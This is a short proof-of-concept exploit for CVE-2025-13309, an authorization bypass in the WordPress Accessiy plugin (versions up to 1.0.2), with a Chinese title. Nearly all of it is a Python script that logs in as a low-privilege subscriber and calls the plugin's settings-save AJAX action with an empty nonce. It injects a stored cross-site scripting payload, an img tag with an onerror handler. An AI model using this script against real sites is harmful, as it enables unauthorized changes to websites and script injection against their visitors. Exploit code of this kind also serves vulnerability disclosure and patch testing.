CVE-2025-13309 WordPress Accessiy插件授权绕过漏洞

import requests import sys # CVE-2025-13309 PoC - WordPress Accessiy Plugin Authorization Bypass # Target: WordPress site with Accessiy plugin <= 1.0.2 target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' username = sys.argv[2] if len(sys.argv) > 2 else 'subscriber' password = sys.argv[3] if len(sys.argv) > 3 else 'password' # Step 1: Authenticate as subscriber session = requests.Session() login_url = f'{target}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print('[-] Authentication failed') exit(1) print('[+] Logged in as subscriber') # Step 2: Exploit authorization bypass to modify accessibility settings ajax_url = f'{target}/wp-admin/admin-ajax.php' malicious_settings = { 'action': 'codeconfig_accessibility_save_settings', 'settings': '<img src=x onerror=alert("XSS")>', 'nonce': '' } resp = session.post(ajax_url, data=malicious_settings) if 'success' in resp.text or resp.status_code == 200: print('[+] Settings modified successfully') print('[+] Stored XSS payload injected') else: print('[-] Exploitation failed')